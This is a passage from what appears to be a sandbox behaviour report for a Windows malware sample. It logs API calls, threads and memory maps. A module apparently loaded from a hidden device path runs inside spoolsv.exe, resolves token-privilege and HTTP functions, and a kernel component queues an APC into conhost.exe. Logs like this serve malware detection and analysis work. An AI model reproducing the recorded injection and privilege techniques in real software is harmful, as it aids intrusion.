(hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0096.448] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0096.448] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0096.448] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0096.448] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0096.448] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0096.448] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0096.448] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0096.448] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0096.448] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0096.448] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0096.448] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0096.448] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0096.448] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0096.449] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0096.449] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0096.449] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0096.449] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0096.449] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0096.449] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0096.449] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0096.449] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0096.449] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0096.449] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0096.449] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0096.449] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0096.449] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0096.449] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0096.450] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0096.450] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0096.450] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0096.450] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0096.450] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0096.450] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0096.450] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0096.450] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0096.450] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0096.452] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0096.452] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\System32\\spoolsv.exe") returned 0x1f [0096.452] PathFindFileNameA (pszPath="C:\\Windows\\System32\\spoolsv.exe") returned="spoolsv.exe" [0096.452] GetCommandLineA () returned="C:\\Windows\\System32\\spoolsv.exe" [0096.452] _strcmpi (_Str1="spoolsv.exe", _Str2="svchost.exe") returned -6 [0096.452] StrStrIA (lpFirst="spoolsv.exe", lpSrch="wermgr.exe") returned 0x0 [0096.453] HeapDestroy (hHeap=0x21e0000) returned 1 Thread: id = 329 os_tid = 0x54c Thread: id = 332 os_tid = 0x558 Thread: id = 333 os_tid = 0x55c [0096.887] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.977] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\slc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.983] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.301] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\secur32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.302] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sspicli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.303] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.307] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\credssp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 336 os_tid = 0x568 Thread: id = 347 os_tid = 0x598 Process: id = "30" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x6793000" os_pid = "0x524" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0x144" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" Region: id = 2626 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2627 start_va = 0x30000 end_va = 0x6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2628 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 2629 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2630 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2631 start_va = 0xff3b0000 end_va = 0xff406fff entry_point = 0xff3b6f60 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" Region: id = 2632 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 2633 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2634 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2635 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2679 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2680 start_va = 0x70000 end_va = 0x70fff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2681 start_va = 0x230000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2682 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 2683 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 2684 start_va = 0x80000 end_va = 0x8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 2685 start_va = 0x90000 end_va = 0xf6fff entry_point = 0x90000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 2686 start_va = 0x100000 end_va = 0x1bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2687 start_va = 0x1c0000 end_va = 0x1c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 2688 start_va = 0x1d0000 end_va = 0x1d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 2689 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x1e0000 region_type = mapped_file name = "conhost.exe.mui" filename = "\\Windows\\System32\\en-US\\conhost.exe.mui" Region: id = 2690 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 2691 start_va = 0x200000 end_va = 0x200fff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2692 start_va = 0x330000 end_va = 0x4b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000330000" filename = "" Region: id = 2693 start_va = 0x4c0000 end_va = 0x640fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 2694 start_va = 0x690000 end_va = 0x69ffff entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 2695 start_va = 0x6a0000 end_va = 0x79ffff entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 2696 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 2697 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2698 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2699 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 2700 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 2701 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 2702 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 2703 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 2704 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 2705 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 2706 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 2707 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 2708 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 2709 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 2710 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 2711 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 2712 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 2713 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 2714 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 2715 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 2716 start_va = 0x940000 end_va = 0x9bffff entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 2717 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 2718 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 2725 start_va = 0x9c0000 end_va = 0xc8efff entry_point = 0x9c0000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Thread: id = 322 os_tid = 0x528 [0096.289] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\conhost.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.290] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.292] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0096.292] IoIs32bitProcess (Irp=0x0) returned 0 [0096.292] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80037cf5f0 [0096.292] KeInitializeApc (Apc=0xfffffa80037cf5f0, Thread=0xfffffa80038b9060, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0096.292] KeInsertQueueApc (Apc=0xfffffa80037cf5f0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0096.292] ExFreePoolWithTag (P=0xfffffa80037cf5f0, Tag=0x0) [0096.292] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa80038bd0f0 [0096.292] IoGetCurrentProcess () returned 0xfffffa80038b7530 [0096.292] PsGetCurrentProcessId () returned 0x524 [0096.292] IoIs32bitProcess (Irp=0x0) returned 0 [0096.292] KeInitializeEvent (in: Event=0xfffffa80038bd130, Type=0x0, State=0 | out: Event=0xfffffa80038bd130) [0096.292] ExQueueWorkItem (in: WorkItem=0xfffffa80038bd0f0*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80038bd0f0), QueueType=0x1 | out: WorkItem=0xfffffa80038bd0f0*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80038bd0f0)) [0096.303] KeWaitForMutexObject () returned 0x0 [0096.381] ExFreePoolWithTag (P=0xfffffa80038bd0f0, Tag=0x0) [0096.381] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.396] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.396] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.396] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.398] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.398] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.400] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.400] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.400] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.401] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.401] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.411] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0096.424] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0096.424] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0096.424] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0096.424] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0096.424] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0096.425] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.425] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.425] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.426] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.427] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.427] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.427] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.428] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.435] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0096.435] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0096.435] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0096.435] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0096.435] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.436] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0096.437] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0096.437] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.438] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0096.438] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0096.438] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0096.438] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0096.438] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0096.438] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0096.438] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0096.440] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0096.534] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0096.535] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x6f188 | out: lpflOldProtect=0x6f188*=0x40) returned 1 [0096.535] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x6f188 | out: lpflOldProtect=0x6f188*=0x4) returned 1 [0096.535] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0096.535] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0096.535] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0096.535] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0096.535] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0096.535] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0096.535] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0096.535] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0096.535] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0096.535] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0096.536] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0096.536] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0096.536] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0096.536] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0096.536] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0096.536] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0096.536] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0096.536] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0096.536] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0096.536] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0096.536] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0096.536] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0096.536] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0096.537] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0096.537] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0096.537] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0096.537] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0096.537] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0096.537] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0096.537] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0096.537] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0096.537] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0096.537] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0096.537] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0096.538] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0096.538] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0096.538] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0096.538] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0096.538] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0096.538] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0096.538] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0096.538] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0096.538] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0096.538] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0096.538] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0096.539] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0096.539] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0096.539] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0096.539] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0096.539] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0096.539] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0096.539] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0096.539] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0096.539] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0096.539] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0096.539] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0096.539] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0096.540] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0096.540] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0096.540] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0096.540] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0096.540] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0096.540] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0096.540] GetProcAddress 